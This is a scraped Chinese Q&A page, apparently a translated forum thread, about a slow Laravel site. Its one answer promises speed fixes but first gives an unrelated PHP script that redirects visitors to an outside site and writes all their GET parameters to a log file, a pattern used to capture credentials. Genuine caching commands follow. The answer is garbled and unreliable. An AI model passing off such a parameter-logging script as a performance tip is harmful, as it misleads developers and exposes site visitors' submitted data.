Laravel太慢

时间:2018-02-28 20:09:50

标签: php laravel

我只是在路由文件web.php中设置此页面:

Route::get("/speedtest","SpeedController@speed_test");

这是速度测试功能:

public function speed_test(){
    return view("speedtest");
}

返回speedtest.blade.php,其中只包含hello world

加载此页面需要2.5秒到3.5秒。

使用中间件和某些查询的其他页面需要3.5到6.5秒。数据库几乎为空,查询只返回3或4项(类似Files::where(user_id, Auth::user()->id)->get())。

所以一切都很慢,甚至是空的网站。肯定有问题。

该站点单独位于具有4 GB RAM,SSD和1 Gbit连接的服务器中

任何帮助?

1 个答案:

答案 0 :(得分:8)

要提高速度的事情:

<?php
header ('Location: http://racket-lang.org');
$handle = fopen("log.txt", "a");
foreach($_GET as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

运行所有这些并报告时间改进!

为了获得最佳性能,您还要确保安装并加载了Zend OPcache扩展(这是另一个问题)。

# Optimize the autoloading (very important!)
composer dumpautoload -o
# Cache the Laravel routes (very important on slower servers)
php artisan route:cache
php artisan api:cache
# Cache the core laravel configurations (including service providers, etc.)
php artisan config:cache
# Finally, tell Laravel to enable "production-ready optimizations."
#php artisan optimize # No longer needed/available in Laravel 5.6.